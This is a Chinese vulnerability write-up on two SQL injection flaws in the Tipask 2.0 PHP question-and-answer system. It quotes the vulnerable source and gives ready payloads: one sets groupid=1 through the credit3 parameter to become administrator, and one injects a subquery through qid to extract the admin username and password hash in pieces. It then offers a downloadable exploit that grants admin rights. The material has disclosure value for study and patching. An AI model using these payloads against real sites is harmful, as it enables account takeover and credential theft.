tipask 2.0 多个漏洞

作者:hack1990 时间:12-10-16 阅读数:671人阅读

0x001   前沿

Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。

0x002  漏洞一

在control/question.php  548行

function onanswercomment() {
    if (isset($this->post['credit3'])) {
        $this->load("answer_comment");
        //魅力值检查
        (intval($this->user['credit3']) < $this->setting['allow_credit3']) && $this->message("你的魅力太低,禁止回答,如有问题请联系管理员!", 'BACK');
        if ($this->post['credit3'] && trim($this->post['content'])) {
            if ($_ENV['answer_comment']->get_by_uid($this->user['uid'], $this->post['aid'])) {
                $this->message("您已经评论过该回答了,不能重复评论!", 'BACK');
                exit;
            }
            $_ENV['answer_comment']->add($this->post['aid'], trim($this->post['content']), $this->post['credit3']);
            //对被操作人进行 魅力值的处理
            $this->credit($this->post['touid'], 0, 0, $this->post['credit3']);
            $this->send($this->post['touid'], $this->post['qid'], 3, $this->post['aid']);
            $viewurl = urlmap('question/view/' . $this->post['qid'], 2);
            $this->message("评论该回答成功!", $viewurl);
        }
    }
}这里的

在这里的 $this->credit($this->post['touid'], 0, 0, $this->post['credit3']); 进行跟踪

在control/base.class.php 中  173行

    function credit($uid, $credit1, $credit2=0, $credit3=0, $operation='') {
    if (!$operation)
        $operation = $this->get[0] . '/' . $this->get[1];//用户登陆只添加一次
    if ($operation == 'user/login' && $this->db->result_first("SELECT uid FROM " . DB_TABLEPRE . "credit WHERE uid=$uid AND operation='user/login' AND time>= " . strtotime(date("Y-m-d")))) {
        return false;
    }
    $this->db->query("INSERT INTO " . DB_TABLEPRE . "credit(uid,time,operation,credit1,credit2) VALUES ($uid,{$this->time},'$operation',$credit1,$credit2) ");
    $this->db->query("UPDATE " . DB_TABLEPRE . "user SET credit2=credit2+$credit2,credit1=credit1+$credit1,credit3=credit3+$credit3 WHERE uid=$uid ");
     echo "UPDATE " . DB_TABLEPRE . "user SET credit2=credit2+$credit2,credit1=credit1+$credit1,credit3=credit3+$credit3 WHERE uid=$uid ";
    if (2 == $this->user['grouptype']) {
        $currentcredit1 = $this->user['credit1'] + $credit1;
        $usergroup = $this->db->fetch_first("SELECT g.groupid FROM " . DB_TABLEPRE . "usergroup g WHERE  g.`grouptype`=2  AND $currentcredit1 >= g.creditslower ORDER BY g.creditslower DESC LIMIT 0,1");//判断是否需要升级
        if (is_array($usergroup) && ($this->user['groupid'] != $usergroup['groupid'])) {
            $groupid = $usergroup['groupid'];
            $this->db->query("UPDATE " . DB_TABLEPRE . "user SET groupid=$groupid WHERE uid=$uid ");
        }
    }
}在这里的 $this->db->query("UPDATE " . DB_TABLEPRE . "user SET credit2=credit2+$credit2,credit1=credit1+$credit1,credit3=credit3+$credit3 WHERE uid=$uid ");

$credit3 是没有经过过滤就直接传过来的,而这里对应的表是user表,这个表里面储存着用户名和密码

而这个表里面的用户包括管理员,由于区分管理员与普通级别是一个groupid 来决定的,如果groupid为1就表示是管理员。然而这里的$credit3没经过过滤,我们就可以通过修改这个值来达到修改为管理员的路径。 如果我们插入 credit3 的值为1,groupid=1 order by regtime desc limit 1# 你想想它变为了什么?是下面这句吧

UPDATE ask_user SET credit2=credit2+0,credit1=credit1+0,credit3=credit3+1,groupid=1 order by regtime desc limit 1# WHERE uid=3

这样子就直接在我们当前的用户变为了管理员了。

tipask 2.0 多个漏洞

0x002 漏洞二

在control/question.php中 472 行 其中的$qid也是没有经过过滤而来的

    function onedittag() {
    $tag = trim($this->post['tag']);
    $qid = $this->post['qid'];
    //echo $qid;
    $viewurl = urlmap("question/view/$qid", 2);
    $message = $tag ? "标签修改成功!" : "标签不能为空!";
    $tag && $_ENV['tag']->multi_add(explode(" ", $tag), $qid);
    $this->message($message, $viewurl);
}我们跟踪这个multi_add函数

在tag.class.php中找到

  function multi_add($namelist, $qid=0) {
    if (empty($namelist))
        return false;

    $namestr = "'" . implode("','", $namelist) . "'";
    //echo $namestr;
    $this->db->query("DELETE FROM " . DB_TABLEPRE . "question_tag WHERE tname NOT IN ($namestr) AND qid=$qid");
    //mysql_query("DELETE FROM " . DB_TABLEPRE . "question_tag WHERE tname NOT IN ($namestr) AND qid=$qid");
    foreach ($namelist as $name) {
        if (!$name)
            continue;
        $tag = $this->get_by_name($name);
        if ($tag) {
            //echo 'INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')";
            $this->db->query('INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')");
            //echo 'INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')";
            $this->db->query('UPDATE `' . DB_TABLEPRE . "tag` SET questions=questions+1 WHERE name='$name'");
        } else {
            $letter = substr(getpinyin(cutstr($name, 4, ''), 1), 0, 1);
            $this->db->query('INSERT INTO `' . DB_TABLEPRE . "tag`(`letter`,`name`,`questions`) values ('$letter','$name',1)");
            $this->db->query('INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $this->db->insert_id() . ",$qid,'$name')");
        }
    }
}在这句 $this->db->query('INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')");中的$qid我们是可以控制的,如果我们修改如下? 将$qid 值取为 5035,(select concat(username,0x3a,password) from ask_user where uid=1)),(239,5555

这样子变为什么样呢?

INSERT INTO `ask_question_tag`(`tid`,`qid`,`tname`) values (47,5035,(select concat(username,0x3a,password) from ask_user where uid=1)),(239,5555,'算得上是')

但是由于它这个tname 字段的默认长度是20 所以要用到substring这个截取。所以要分2次来获取账号和密码

10,(select substring(concat(username,0x3a,password),1,6) from ask_user where uid=1)),(239,5555

tipask 2.0 多个漏洞

所以要分开2次截取。

0x003 总结

其实这套cms有很多的问题,很多地方没经过过滤.

后台拿shell也有点鸡肋,后台有个执行sql语句的地方,所以拿shell嘛,前提是要root,然后才能搞到shell啦

下面我放出exploit,请尊重下版权,转摘不注明出处的没jj

exploit.rar

tipask 2.0 多个漏洞

执行exploit之后就是管理员了

tipask 2.0 多个漏洞 

第二步之后

tipask 2.0 多个漏洞 

然后刷新页面你就发现你是管理员了

 

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